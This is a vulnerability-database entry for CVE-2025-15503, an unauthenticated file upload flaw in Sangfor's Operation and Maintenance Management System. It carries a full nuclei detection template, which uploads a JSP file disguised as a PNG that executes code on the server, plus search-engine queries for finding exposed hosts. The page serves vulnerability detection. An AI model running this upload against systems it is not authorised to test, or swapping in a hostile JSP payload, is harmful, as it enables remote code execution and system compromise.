Browse / CVEs / CVE-2025-15503
CVE-2025-15503· CWE-434
Sangfor OSM - Arbitrary File Upload
criticalseverity
2%likelihood of exploitation, next 30 days
81%of all CVEs are less likely
Readycheck to confirm it
Sangfor Operation and Maintenance Management System <= 3.0.8 contains an unrestricted file upload vulnerability caused by manipulation of the \"File\" argument in /fort/trust/version/common/common.jsp, letting remote attackers upload arbitrary files, exploit requires no special privileges.
Impact
Remote attackers can upload arbitrary files, potentially leading to remote code execution or system compromise.
Fix
Update to the latest version.
How to confirm it
Send: POST /fort/trust/version/common/common.jsp
Positive when: status_code == 200 and contains(body, "Upload success")
Send: GET /fort/trust/version/common/{{randstr}}.jsp
Positive when: status_code == 200 and contains(body, md5(to_string(randnum)))Run it with nuclei: nuclei -id CVE-2025-15503 -u <target>
The full check
id: CVE-2025-15503
info:
name: Sangfor OSM - Arbitrary File Upload
author: Ark
severity: critical
description: |
Sangfor Operation and Maintenance Management System <= 3.0.8 contains an unrestricted file upload vulnerability caused by manipulation of the \"File\" argument in /fort/trust/version/common/common.jsp, letting remote attackers upload arbitrary files, exploit requires no special privileges.
impact: |
Remote attackers can upload arbitrary files, potentially leading to remote code execution or system compromise.
remediation: |
Update to the latest version.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2025-15503
- https://github.com/advisories/GHSA-h49h-jpp7-xv85
classification:
cve-id: CVE-2025-15503
epss-score: 0.02036
epss-percentile: 0.81259
cwe-id: CWE-434
metadata:
verified: true
max-request: 2
shodan-query: html:"/fort/login"
fofa-query: body="/fort/login" && product="SANGFOR-运维安全管理系统"
tags: cve,cve2025,sangfor,osm,rce,fileupload,intrusive,vkev
variables:
randnum: "{{rand_int(100000000, 999999999)}}"
flow: http(1) && http(2)
http:
- raw:
- |
POST /fort/trust/version/common/common.jsp HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="{{randstr}}.jsp"
Content-Type: image/png
<%@page import="java.security.MessageDigest,java.math.BigInteger"%><%MessageDigest md=MessageDigest.getInstance("MD5");md.update("{{randnum}}".getBytes());out.print(new BigInteger(1,md.digest()).toString(16));new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
------WebKitFormBoundary--
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "Upload success")'
condition: and
internal: true
- raw:
- |
GET /fort/trust/version/common/{{randstr}}.jsp HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, md5(to_string(randnum)))'
condition: andReferences
Use this check only on systems you are authorised to test. Where the data comes from